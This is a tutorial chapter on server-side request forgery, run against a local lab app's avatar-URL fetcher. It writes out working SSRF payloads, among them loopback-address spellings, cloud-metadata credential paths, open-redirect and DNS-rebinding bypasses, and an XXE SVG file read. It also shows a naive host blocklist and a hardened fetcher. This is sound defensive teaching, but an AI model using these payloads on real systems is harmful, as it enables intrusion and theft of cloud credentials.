9 — The server fetches for you

Chapter 8 ended on the avatar feature. A user pastes the URL of an image, and the server downloads it:

@app.post("/profile/avatar")
def avatar():
    r = requests.get(request.form["url"], timeout=3)
    db().execute("UPDATE users SET avatar = %s, avatar_type = %s WHERE id = %s",
                 (r.content, r.headers.get("Content-Type", ""), u["id"]))

and serves the stored bytes back at /avatar/<user id>. There’s no injection here; the URL is used as a URL. The problem is who makes the request. Mallory’s browser can only reach what the internet can reach. The server sits inside the network, next to databases, admin tools and cloud services that trust it because of where it is. When the server fetches a URL for a user, the user borrows that position. This is server-side request forgery (SSRF).

The lab’s network

A real deployment would put the interesting targets on a private network. The lab has one machine, so they are local processes, each bound to 127.0.0.1 only:

• An internal admin service on 127.0.0.1:5303. It has no login, because “only our own servers can reach it”. It lists users, shows a database password, and deletes a user on GET /delete-user?name=....
• A metadata imitation on 127.0.0.1:5304. It serves the same paths as the EC2 Instance Metadata Service (IMDS), with fake values, and can be switched between accepting IMDSv1 and requiring IMDSv2. It stands in for 169.254.169.254. No request in this chapter went to that address or to any real cloud service.
• Mallory’s own server at attacker.test. The app process can’t resolve a made-up name, so a few lines in it act as the lab’s DNS and router: attacker.test resolves to 203.0.113.80, and any connection to 203.0.113.0/24 is handed to mallory’s server on 127.0.0.1:5305. That block is TEST-NET-3, reserved for documentation by RFC 5737, which says such addresses “SHOULD NOT appear on the public Internet”, so nothing could leak out even if the redirect failed. Because the block is reserved, Python classifies it as private. The guards later in this chapter make one lab-only exception for it, so that it can play “the internet”.

Mallory talks only to the app’s public URL, https://notes.test:5301, and logs in as before. The avatar works as intended:

url=http://attacker.test/cat.png
{"bytes":69,"ok":true,"type":"image/png"}

[dns] attacker.test -> 203.0.113.80
[nat] 203.0.113.80:80 -> 127.0.0.1:5305
[attacker] GET attacker.test/cat.png

The last line is in mallory’s server log. The request came from the app server, not from her browser.

Reaching what mallory can’t

The same form with an internal URL:

url=http://127.0.0.1:5303/
{"bytes":106,"ok":true,"type":"text/html; charset=utf-8"}

The app stored the admin service’s page as mallory’s avatar, and served it back at her avatar URL:

GET /avatar/3
<h1>Internal admin</h1><ul><li>users: 3</li><li><a href=/users>/users</a></li><li>POST /reset-db</li></ul>

The page links to /users, so she followed it:

url=http://127.0.0.1:5303/users
GET /avatar/3
{"db_password":"hunter2-prod","users":["admin","alice","mallory"]}

The app is now a proxy into its own network. Mallory reads each response through /avatar/3. This is the strongest kind of SSRF, where the response comes back to the attacker in full.

The cloud metadata address

On a cloud VM, the most valuable thing the server can reach is usually the metadata service. On EC2, AWS documents it at http://169.254.169.254/latest/meta-data/, with an IPv6 address [fd00:ec2::254] on Nitro instances in IPv6 subnets (AWS: access instance metadata). 169.254.0.0/16 is the link-local range: addresses that are only meaningful on the local link and are never routed. AWS says these addresses “are valid only from the instance”, which is exactly what makes the service dangerous here. It is reachable from the server and from nothing else, so it trusts every request it gets.

Among the metadata are the temporary credentials of the IAM role attached to the instance, at /latest/meta-data/iam/security-credentials/<role name>. The SDKs on the instance fetch them from there. So does anyone who can make the instance fetch a URL. Against the imitation, in IMDSv1 mode:

url=http://127.0.0.1:5304/latest/meta-data/iam/security-credentials/
GET /avatar/3
notes-app-role

url=http://127.0.0.1:5304/latest/meta-data/iam/security-credentials/notes-app-role
GET /avatar/3
{"AccessKeyId":"ASIAFAKEFAKEFAKE0000","Code":"Success","Expiration":"2026-11-10T22:00:00Z",
 "SecretAccessKey":"fake/secret/for/a/local/demo","Token":"FAKE-SESSION-TOKEN","Type":"AWS-HMAC"}

[imds] credentials served to python-requests/2.34.2

With real values, those three strings would let mallory call AWS APIs as the app’s role from her own machine until they expire. Other clouds have metadata services at the same address, with different paths and header requirements.

IMDSv2

AWS’s answer is a second version of the protocol, described in how IMDSv2 works. A client first sends a PUT to /latest/api/token with a header giving the token’s lifetime, from one second to six hours:

TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

When tokens are required, a GET without a valid token gets 401 Unauthorized. AWS also documents two more details. PUT requests that carry an X-Forwarded-For header are rejected, which catches requests relayed through a reverse proxy. And the response to the PUT has an IP hop limit of 1 by default, so the token can’t travel past the instance itself. AWS suggests raising it to 2 for containers, where the extra network hop would otherwise swallow the response.

The imitation was switched to require tokens, and the same SSRF tried again:

url=http://127.0.0.1:5304/latest/meta-data/iam/security-credentials/notes-app-role
GET /avatar/3
<title>401 Unauthorized</title>

The avatar fetcher can only send a GET with no custom headers, so it can never obtain a token. A local client that does the two-step dance still works, and a relayed PUT doesn’t:

$ T=$(curl -s -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://127.0.0.1:5304/latest/api/token)
token: byt2ykfvehNp...
$ curl -s -H "X-aws-ec2-metadata-token: $T" http://127.0.0.1:5304/latest/meta-data/iam/security-credentials/
notes-app-role
$ curl -s -o /dev/null -w "%{http_code}" -X PUT -H "X-Forwarded-For: 203.0.113.9" \
       -H "X-aws-ec2-metadata-token-ttl-seconds: 60" http://127.0.0.1:5304/latest/api/token
403

(The 403 is the imitation’s choice; AWS’s page says only that such requests are rejected.) IMDSv2 is a strong mitigation for exactly this bug, but it’s a property of one service. The admin service on 5303 has no such protection, and neither do most internal tools.

When the response doesn’t come back

Suppose the app checked that the downloaded file was an image and discarded anything else. Mallory would no longer see responses, but the requests would still be sent. The admin service deletes users on a GET:

url=http://127.0.0.1:5303/delete-user?name=alice
{"bytes":20,"ok":true,"type":"application/json"}

[admin] DELETE user alice (via GET!)

The side effect happened whether or not mallory saw the result. This is blind SSRF. The app’s errors also map the network. Fetching the root of a few local ports:

port 5303  {"bytes":106,"ok":true,"type":"text/html; charset=utf-8"}
port 5307  {"error":"ConnectionError: ... port=5307): Failed to establish a new connection: [Errno 61] Connection refused"}
port 22    {"error":"ConnectionError: ... port=22): Failed to establish a new connection: [Errno 61] Connection refused"}

An open port, a closed one, and (for addresses that drop packets) a timeout are three different answers. Even with identical error messages, response time tells them apart.

The URL’s scheme matters as well. requests only speaks HTTP and HTTPS:

url=file:///etc/hosts
{"error":"InvalidSchema: No connection adapters were found for 'file:///etc/hosts'"}

Python’s own urllib.request.urlopen doesn’t have that limit:

>>> urllib.request.urlopen('file:///etc/hosts').read()[:40]
b'##\n# Host Database\n#\n# localhost is used'

A fetcher built on it would turn SSRF into a local file read. OWASP’s SSRF prevention page lists file://, gopher:// and dict:// among the schemes worth worrying about. Libraries that support gopher:// let an attacker write raw bytes to any TCP port, which reaches text-protocol services such as Redis.

First attempt: a blocklist

The obvious fix is to refuse internal hosts by name:

BLOCKED_HOSTS = {"localhost", "127.0.0.1", "169.254.169.254", "0.0.0.0", "::1"}

def naive_check(url):
    host = urlsplit(url).hostname
    if host in BLOCKED_HOSTS or host.startswith("10.") or host.startswith("192.168."):
        raise BlockedURL(host)

It blocks the URLs used so far. It compares strings, though, and one address has many spellings. Every row below is the internal admin service:

2130706433 is 127.0.0.1 as one 32-bit decimal number, and 0x7f000001 is the same in hex. 127.1 uses the old shorthand where missing octets are filled with zeros. The system resolver (getaddrinfo) accepts all three forms. 0 means 0.0.0.0, and connecting to it reached the local machine. ::ffff:127.0.0.1 is an IPv4-mapped IPv6 address, the IPv6 spelling of an IPv4 one. localhost. with a trailing dot is the fully qualified form of the name, and it resolved to ::1.

Resolvers also disagree on edge cases. Asked about 0177.0.0.1, which some parsers treat as octal for 127, the macOS resolver returned 177.0.0.1, an unrelated public address. A check and a fetch that parse the address differently are their own bug.

A blocklist of names can’t be fixed by adding more names. The check has to look at the address the name resolves to.

Second attempt: resolve and check

def resolve_check(url):
    host = urlsplit(url).hostname
    for info in socket.getaddrinfo(host, None):
        ip = ipaddress.ip_address(info[4][0])
        if ip in LAB_INTERNET:
            continue
        if ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_unspecified:
            raise BlockedURL(f"{host} resolves to {ip}")

resolve_check(url)
r = requests.get(url, timeout=3)

Every spelling from the table now fails, because they all resolve to a loopback or unspecified address:

http://2130706433:5303/          blocked: 2130706433 resolves to 127.0.0.1
http://[::ffff:127.0.0.1]:5303/  blocked: ::ffff:127.0.0.1 resolves to ::ffff:7f00:1
http://localhost.:5303/          blocked: localhost. resolves to ::1
http://0:5303/                   blocked: 0 resolves to 0.0.0.0
http://169.254.169.254/latest/meta-data/   blocked: 169.254.169.254 resolves to 169.254.169.254

The last one was rejected before any connection. The check looks at an IP literal without sending anything.

There’s a gap between the check and the fetch, though. The check looks at the URL it was given, once. requests then resolves the name again on its own and follows any redirect it receives. Both of those happen after the check.

Redirects

Mallory’s server has an open redirect, /go?to=..., that answers 302 Found with any Location. attacker.test resolves to the lab’s public range, so it passes the check:

url=http://attacker.test/go?to=http://127.0.0.1:5303/users
{"bytes":67,"ok":true,"type":"application/json"}

[attacker] GET attacker.test/go?to=http://127.0.0.1:5303/users

requests followed the 302 to the admin service, which the check never saw. Mallory doesn’t even need her own server for this. Any open redirect on any allowed site works the same way.

DNS rebinding

The second gap is the double lookup. Mallory controls DNS for her own domains. She can answer the first query for a name with a harmless public address and the next one with 127.0.0.1, using a time-to-live of zero so nothing caches the first answer. The check gets the first answer and the fetch gets the second. This is DNS rebinding.

The lab’s resolver simulates such a domain: names under .rebind.test alternate between 203.0.113.80 and 127.0.0.1. The public answer is only ever compared, never connected to.

url=http://evil.rebind.test:5303/users
{"bytes":67,"ok":true,"type":"application/json"}

[dns] evil.rebind.test -> 203.0.113.80
[dns] evil.rebind.test -> 127.0.0.1

Two lookups, two answers, and the admin service’s JSON became mallory’s avatar.

Third attempt: resolve once, connect to what was checked

The fix for both gaps is to make the check and the fetch the same act. The fetcher resolves the name once, checks every address it got back, and connects to the address it checked. It doesn’t let any library follow redirects; it reads each Location itself and runs the whole check again on the new URL.

def _check_ip(ip):
    ip = ipaddress.ip_address(ip)
    if isinstance(ip, ipaddress.IPv6Address) and ip.ipv4_mapped:
        ip = ip.ipv4_mapped
    if ip in LAB_INTERNET:          # lab-only: this range stands in for the public internet
        return ip
    if not ip.is_global or ip.is_multicast:
        raise BlockedURL(f"{ip} is not a public address")
    return ip

def safe_fetch(url, max_redirects=3, max_bytes=1_000_000):
    for _ in range(max_redirects + 1):
        parts = urlsplit(url)
        if parts.scheme not in ("http", "https"):
            raise BlockedURL("scheme")
        port = parts.port or (443 if parts.scheme == "https" else 80)
        infos = socket.getaddrinfo(parts.hostname, port, type=socket.SOCK_STREAM)
        ips = [_check_ip(i[4][0]) for i in infos]           # every answer must pass
        if port not in ALLOWED_PORTS and ips[0] not in LAB_INTERNET:
            raise BlockedURL(f"port {port}")
        pinned = str(ips[0])
        if parts.scheme == "https":
            conn = _PinnedHTTPS(parts.hostname, pinned, port, timeout=3)
        else:
            conn = http.client.HTTPConnection(pinned, port, timeout=3)
        path = (parts.path or "/") + (f"?{parts.query}" if parts.query else "")
        conn.request("GET", path, headers={"Host": parts.netloc, "User-Agent": "notes-avatar/1"})
        r = conn.getresponse()
        if r.status in (301, 302, 303, 307, 308):
            url = urljoin(url, r.getheader("Location"))     # loop: the new URL is checked from scratch
            continue
        ctype = r.getheader("Content-Type", "")
        if not ctype.startswith("image/"):
            raise BlockedURL(f"not an image: {ctype}")
        body = r.read(max_bytes + 1)
        if len(body) > max_bytes:
            raise BlockedURL("too large")
        return body, ctype
    raise BlockedURL("too many redirects")

A few choices in it are worth spelling out.

is_global is an allowlist of address space, not a blocklist. It’s true only for addresses that Python’s ipaddress module considers publicly routable, based on the IANA special-purpose address registries, so it rules out loopback, private ranges, link-local, carrier-grade NAT and documentation ranges without the code having to list them. IPv4-mapped IPv6 addresses are unwrapped first and judged as the IPv4 address they are. Python 3.12.8 already reports ::ffff:127.0.0.1 as loopback, but the explicit unwrap doesn’t depend on the Python version.

“Every answer must pass” matters because a name can return several addresses, and the connection might use any of them.

The connection goes to the checked IP, while the Host header carries the original name. For HTTPS, _PinnedHTTPS opens the TCP connection to the pinned IP but does the TLS handshake with the original hostname, so SNI and certificate verification still check the name the user gave:

class _PinnedHTTPS(http.client.HTTPSConnection):
    def __init__(self, hostname, ip, port, **kw):
        super().__init__(hostname, port, **kw)
        self._ip = ip

    def connect(self):
        sock = socket.create_connection((self._ip, self.port), self.timeout)
        self.sock = self._context.wrap_socket(sock, server_hostname=self.host)

OWASP’s SSRF page describes the same design: validate the resolved IPs, then use a client that “connects to the validated IP while preserving the original hostname”.

Ports are limited to 80 and 443, the content type must be an image, and the body is capped at a megabyte. Those make the blind cases less useful: no probing of arbitrary ports, and no storing of HTML or JSON.

Every attack from this chapter, against the third version:

The redirect was followed by the fetcher’s own loop, and the second hop failed the check. The rebinding attempt is the interesting one:

[dns] evil.rebind.test -> 203.0.113.80
[nat] 203.0.113.80:5303 -> 127.0.0.1:5305
[attacker] GET evil.rebind.test:5303/users

There was one lookup. The connection went to the address that was checked, which is mallory’s own server, and it never reached the admin service. Mallory’s server answered with an HTML page, and the content-type check discarded it.

The error messages above are detailed because this is a lab. A production version would log the reason and tell the user only that the image couldn’t be fetched. Otherwise the messages themselves become a map of what’s blocked and why.

Better than any check

The safest fetch is the one that doesn’t happen. For an avatar, there are simpler designs. The app could accept an uploaded file instead of a URL. It could store the URL and let the user’s browser load it in an <img> tag, where the browser’s rules and the app’s CSP img-src apply, and the server never makes a request. Or, if fetching is required, it could allow only a fixed list of image hosts. OWASP treats a known list of destinations as the first case to aim for. A blocklist of bad addresses, even a careful one, is its fallback when no allowlist is possible.

The network should enforce the same thing beneath the application. The server that runs the app has no business opening connections to the admin service or the metadata service on behalf of users. Egress rules, a separate network segment for internal tools, or an outbound proxy that only permits public addresses all catch the request that slips past application code. On EC2, that means requiring IMDSv2 and keeping the hop limit at 1 unless containers need 2. The admin service also shouldn’t trust its callers because of their address. A login, or a token that the app server doesn’t hold, turns “reachable” back into “not authorized”.

XML that fetches

One more way to make a server fetch is built into a data format. XML documents can declare entities, and an external entity’s value is loaded from a URL:

<?xml version="1.0"?>
<!DOCTYPE svg [ <!ENTITY x SYSTEM "file:///etc/hosts"> ]>
<svg xmlns="http://www.w3.org/2000/svg"><text>&x;</text></svg>

If the app accepted SVG avatars and parsed them to check their size, a parser that expands external entities would put /etc/hosts into the text node. With an http:// URL in place of file://, the parser itself becomes an SSRF client. This is XML external entity injection (XXE). The same file through the parsers available here (lxml 6.1.3 with libxml2 2.14.6, and the standard library):

lxml fromstring, default parser                    -> XMLSyntaxError: Entity 'x' not defined, line 3, column 50
lxml XMLParser(resolve_entities=True)              -> '##\n# Host Database\n#\n# localhost is used to configure...'
lxml XMLParser(resolve_entities=False)             -> ''
xml.etree.ElementTree.fromstring                   -> ParseError: undefined entity &x;: line 3, column 46

The defaults are safe. The lxml 5.0 changelog records that external entities are no longer expanded by default; the new default is resolve_entities='internal'. The standard library’s parser doesn’t load external entities. One explicit option, of the kind found in old code or copied from an old answer, brings the file read back. A variant with an http://127.0.0.1:5303/users entity and network access enabled produced an empty value, and no request reached the admin service. This libxml2 build doesn’t appear to fetch over HTTP, but that’s a detail of one build, not a defense.

For avatars, the answer is to not parse XML at all. Accept raster formats, check them by decoding with an image library, and re-encode them, so the stored file is what the server produced rather than what the user sent.

Where this leaves things

The avatar fetcher now resolves each name once, accepts only public addresses, connects to the address it checked, rechecks every redirect hop, and only stores images. The internal admin service and the metadata endpoint are out of reach through the app, IMDSv2 would stop a GET-only fetcher even if the check failed, and the XML parsers are left on their safe defaults.

Chapters 8 and 9 were about the server doing something other than what its code meant. What’s left is the server doing exactly what its code says, for the wrong person. The avatar route itself is an example:

@app.route("/avatar/<int:uid>")
def avatar_get(uid):
    row = db().execute("SELECT avatar, avatar_type FROM users WHERE id = %s", (uid,)).fetchone()

After alice set a picture, mallory asked for user 2’s avatar:

mallory GET /avatar/2 -> 200 image/png 69 bytes

Maybe avatars are meant to be public. The code doesn’t say either way, because it never asks who is requesting. Chapter 10 asks that question of every route, starting with the notes.